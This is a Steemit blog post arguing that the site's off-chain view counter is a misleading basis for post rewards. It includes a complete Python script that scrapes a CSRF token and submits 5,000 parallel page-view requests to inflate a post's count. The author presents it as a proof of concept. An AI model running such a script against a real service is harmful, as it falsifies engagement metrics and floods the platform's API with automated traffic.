I have heard a couple of times that "view counts" should be parallel with the post rewards. Some whales actually downvote posts because of that. However, on a decentralized blockchain, view count value is a **misleading** information.

#### Why view count is not a good metric
***

It's bounded to Steemit. Steemit is not the only interface, people use other interfaces, too. We have Busy, condenser forks, Utopian, Dmania, Dlive, Dtube etc...

If the user doesn't use Steemit, view count stays same since this is a simple counter implemented on Steemit.com, not the blockchain itself.

#### It's very easy to boost the view count
***

With a small reverse-engineering on the Steemit APIs, you can actually boost the view count very easily. Here is an evil tool - I have come up in the past while I was trying to learn how view counts work.

<img src="https://i.hizliresim.com/1JGPjA.png">

```python
import requests, re
from urllib.parse import urlparse
import concurrent.futures
def boost_view(post_url):
    parsed_url = urlparse(post_url)
    session = requests.session()
    session.headers.update({
        'accept': 'application/json',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'en-US,en;q=0.8',
        'Connection': 'keep-alive',
        'content-type': 'text/plain;charset=UTF-8',
        'Host': 'steemit.com',
        'Origin': 'https://steemit.com'
    })
    r = session.get("https://steemit.com")
    token = re.findall(b'"csrf":"(.*?)",', r.content)[0]
    r = session.post(
        'https://steemit.com/api/v1/page_view',
        json={"page": parsed_url.path, "csrf": token.decode("utf8")}
    )
    resp = r.json()["views"]
    print(resp)
    return resp
URL = "steemit_post_url"
with concurrent.futures.ProcessPoolExecutor(max_workers=4) as executor:
    for i in range(5000):
        executor.submit(boost_view, URL)
    executor.shutdown(wait=True)
```
***

To prove the concept, I will boost this post's view count to the moon. If whales think that rewards should be in direct proportion to the rewards, I should get huge upvotes as a result, right? :)